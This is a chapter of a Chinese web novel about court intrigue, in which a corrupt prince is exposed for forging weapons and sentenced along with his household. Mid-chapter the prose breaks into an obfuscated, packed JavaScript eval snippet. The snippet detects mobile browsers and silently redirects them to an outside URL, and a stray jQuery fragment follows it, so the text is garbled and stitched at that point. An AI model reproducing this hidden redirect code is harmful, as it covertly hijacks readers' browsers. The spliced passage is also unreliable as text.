110. 参荣阳王

作品:《落魄王爷靠我上位

    “此人就是兵部尚书葛洪,葛大人。”


    听完沈玥瑶的话,桌前的谢晏川与庄怀笙脸上立刻浮现出疑惑不解的神情,二人先后一脸疑虑。


    “为何是他?”


    “他有何值得我们信任之处?”


    清了清嗓子,朝他们勾了勾手,等人凑过来后头头是道地分析起来。


    “首先此乃兵部之事,兵部尚书主理兵部觉察兵器库出现劣质兵器合情合理;其次若由我们越过葛大人上奏,他任兵部尚书多年却未曾发现劣质兵器,定会被扣上失察之罪,虽不至于贬官,但肯定会受罚,怕就怕他因此记恨上我们。”


    停顿一下,观察二人神情,见其没有反驳的意思,她又继续开口,“最后就是我们将此事交由葛尚书奏疏,不仅可以将他拉入我们阵营,我们自己能独善其身的同时,还能静观其变,随时应对变数和危险。”


    庄怀笙当即竖起大拇指,连连夸赞道:“还是瑶儿思虑周全,葛大人确实是不二人选。”


    得到兄长肯定,她喜笑溢于言表,随之又将目光锁定在谢晏川身上,见其眉头紧锁,顿时收起嬉皮笑脸,”可是有什么不妥之处?“


    “你的想法甚好,我只是担忧葛尚书未必会被我们拉拢。”他忧心忡忡地回答。


    她松了口气,心想他不反对就好,接着开口宽慰:”无妨,我们帮了他,日后若有需要请他相助,想来他亦不会拒绝,这便足够了。”


    谢晏川面部表情稍显松弛,目光望向窗外临天城的方向,“只能劳烦葛上了。”


    *


    半月后,临天城,一夜纷纷飞雪,将整座皇宫染成了银白色,使得它更加静谧而庄严。


    宣政殿中谢晏川同红袍、紫衣官员分别跪在大殿左右,五体投地叩向七阶高台上,稳坐金漆宝座上的帝王。


    谢晏川屏着呼吸,内心十分忐忑,小心翼翼偷瞄高位上的王者,彼时他满脸愤怒,一双赤红的龙目瞪视着跪在文武官员之前的荣阳王。


    下一秒,整个殿中响起了他怒不可遏的暴怒声。


    “好一个薛国栋,竟敢私铸兵器中饱私囊。”


    薛国栋满脸委屈地喊冤:“陛下,微臣冤枉,兵部尚书诬陷于臣啊。”


    皇帝冷笑一声,向站在高台上的内监递去一记眼神,内监立刻将原本端在手中的账本恭送至他面前。


    接过账册后他看也没看一眼,直接砸到荣阳王身上,威严的声音响彻整个大殿,“还敢喊冤,这是你贪墨证据,睁大你的狗眼看清楚。”


    荣阳王捡起掉在地上的册子,伸手颤抖地翻开,片刻后双眼大瞠趴在地上不发一言,只一味抖着身子。


    “刚才葛尚书带霹雳堂余孽当堂指证你,你还大喊冤枉,现在不喊冤枉了?”皇帝从龙椅上起身走至高台前,指着地上的薛国栋质问。


    “陛下,账册记录详细,老臣认罪!但恳请陛下看在臣多年来为社稷操劳的份上,饶恕王府满门。”


    “你还敢同朕谈条件!”


    皇帝怒吼一声,一副要吃人的样子盯着台下罪臣,“荣阳王府薛氏一代蒙祖上恩荫,得赐外姓王,自你薛国栋继承爵位,朕待你不薄,你做出此等危害社稷江山之事,还想让朕饶了荣阳王府,简直痴人说梦。”


    “臣有罪,但薛氏满门毫不知情,他们都是无辜之人,还请陛下开恩。”


    卑微的哀求声在宽阔的大殿中回荡,公卿大臣闻及面面相觑,纷纷看着荣阳王议论纷纷,其中属谢晏川阵营的寒门大臣声音最大,三名绯袍从地上起身,走出文官之列后跪在殿中,依次向九五之尊谏言:


    “贩卖私兵等同谋反,况且还是将劣质兵器充入兵器库,应当罪上加罪,罪当满门抄斩。”


    “国有国法,家有家规,更何况还是皇亲国戚,若不严惩,只怕日后人人都会效仿。”


    “陛下,荣阳王其罪当诛,不可轻判,否则何以对得起守卫临天城的万千将士。”


    皇帝凌厉的眼神扫过台下跪着的一干人等,随意地抬了抬手示意无辜大臣起身,待他们站稳后他才对仍然跪在地上的荣阳王,以不容置喙的声音开口。


    “荣阳王薛国栋,藐视大雍律法,私铸劣质兵器贩入朝廷,将大雍将士安全置于危险之中,即刻起罢免其一切官职爵位即刻问斩,荣阳王府抄家,族人打入天牢,三日后问斩。”


    薛国栋瞬间如魂魄被勾走一般瘫倒在地,很快他又再次打起精神,这次他求救的对象不是当朝皇帝,而是未来储君,他低声对着他哀求:“太子殿下,看在仙娇的份上,你要救救荣阳王府啊。”


    太子看了他一眼,深吸一口气后站到皇帝面前作揖,“父皇,容禀。”


    “若是求情的话,不必说了。”


    挥手拒绝后皇帝转身回到龙椅上坐下,太子未曾退缩依旧拱手谏言:“父皇,儿臣认为荣阳王府满门未曾参与贪墨,实在无辜受牵连,还请父皇开恩,留他们一命。”


    “太子此言差矣,荣阳王府有小皇庭之称,府中极尽奢靡,若是山珍海味光一日便要花去千两白银,更遑论还有其他开支。”


    庄怀笙站出文官队伍,拱手作揖有理有据地反驳太子,“以薛国栋的俸禄根本不能支撑王府如此庞大的开销,由此可见他中饱私囊所得钱财不说尽数,但一定用于填补王府这个烧金窟,既如此薛氏一族都从中受益,何来的无辜?”


    “没想到平日里沉默寡言的庄大人,竟是如此巧言令色,真是叫本宫吃惊不小。”


    太子回头瞥了一眼谏言的人,眼里有些欣赏同时又透着算计,片刻之后才回到正题上,“薛氏族人并不知情,所谓不知者不罪,何必赶尽杀绝,况且若是能给他们一线生机,定能在百姓面前彰显父皇是仁德之君。”


    说完最后一个字,他回头扫过身后站着的红、紫袍官员,官员与之对视之后纷纷站出来替罪臣求情。


    “陛下,荣阳王为社稷操劳一生,其任职吏部尚书期间为大雍遴选许多优秀官员,造福一方百姓,其功在社稷,当将功补过。”


    “是啊,荣阳王只是一时利欲熏心,想来他已知错,还望陛下开恩。”


    “太子嫔与镇国公夫人与薛氏一族沾亲带故,若是王府抄家又抄斩,恐会伤及夫人与太子嫔,甚至是太子的颜面,恳请陛下收回成命。”


    ……


    求情的声音很大,皇帝面露动摇之色,使得原本打算看戏的谢晏川不得不出手,他清了清喉咙,示意兵部尚书反击。


    兵部尚书


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16967376|185113||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    葛洪收到指示,立刻站出来舌战群儒。


    “太子与各位大人所言差矣,所谓国有国法家有家规,薛国栋所犯之罪等同谋逆,按律当抄家问斩,不能因他是太子嫔的外祖,而徇私枉法。”


    “臣附议,若陛下偏袒薛氏一族,百姓会认为皇亲国戚便可以将律法视为无物,害国害民者亦可以逍遥法外,长此以往,大雍将会失去民心。”


    庄怀笙立刻接着话,不卑不亢地望向皇帝,坚毅的语气表明了他不愿退让的立场。


    紧接着谢晏川亦站了出来,试图动之以情,晓之以理,将帝王的杀伐之心拉回来。


    “父皇,事关江山社稷之安危,若陛下网开一面放了薛氏一族,等于告诉天下人,谋逆之罪,罪不及九族,日后大雍境内谁都可以轻易拥兵而起,谢氏将山危矣。”


    “父……”


    皇帝神色大变,原本放松的面庞又再次绷紧起来,及时打断了还要继续求情的太子,“好了!都别吵了,朕自有主张。”


    如洪钟又严厉的声音响彻整个朝堂,大殿一下静了下来,所有官员垂身而立恭敬地等着帝王下结论。


    然而龙椅上的人在继续说话,只是视线在太子与兵部尚书之间徘徊,似在衡量着什么?


    随着时间一分一秒过去,谢晏川握着笏板的双手开始渗出汗来,担忧父皇如此疼爱太子,怎会听他的谏言放过薛氏满门,心口随着此想法陡然悬了起来。


    正当他按捺不住想要再次开口谏言时,头顶先响起了声音。


    “薛国栋所犯谋逆之罪,其罪当诛,至于薛氏族人虽毫不知情,但所食所用均来自贪墨之财,所谓祸不及家人的前提是惠不及家人,故朕以为他们并不无辜!”


    说着他犀利的目光瞪视着薛国栋,掷地有声地加重咬字,“你的族人所穿之绫罗绸缎,所食之山珍海味,早已超出了王府该有的规制,他们选择视而不见,满门抄斩也该受着……”


    话还未说完,太子便急着拱手作揖,刚动了动嘴,皇帝立刻调转话锋将话堵死。


    “朕意已决,若还有人想为罪臣求情,以同罪论处。”


    太子当即垂下双手,对身后大臣摇了摇头,最后的目光落在薛国栋身上,眼中满怀惋惜。


    突如其来的胜利,让谢晏川一时呆愣住,怎么也没想到父皇会驳了太子的面子,叫他此刻反应过来后嘴角忍不住扬起得意的笑容。


    他下意识看向同阵营的庄怀笙以及葛尚书,所有人脸上都是扳倒荣阳王府的胜利笑容。


    此时此刻,他不得不感慨一句:皇天不负有心人!


    “朕乏了,退朝。”


    父皇略显无力的声音传入耳中,谢晏川赶紧同满朝文武一同行礼恭送帝王。


    待父皇离开后,朝堂霎时四散,他亦收起笏板转身朝大门走去,刚出殿门的下一秒却停下脚步。


    “川儿,这儿……”


    沈玥瑶穿着浅黄色披风,站在汉白玉石阶下的皑皑雪地中向他招手,如挂在云边的初阳般温暖,驱散了他心中的所有阴霾。


    他笑着奔下台阶想拥抱属于他的光亮,就在快接近她时,他看见她身后突然冒出一个人,他心顿时提高,忙大喊一声。


    “瑶儿,小心!”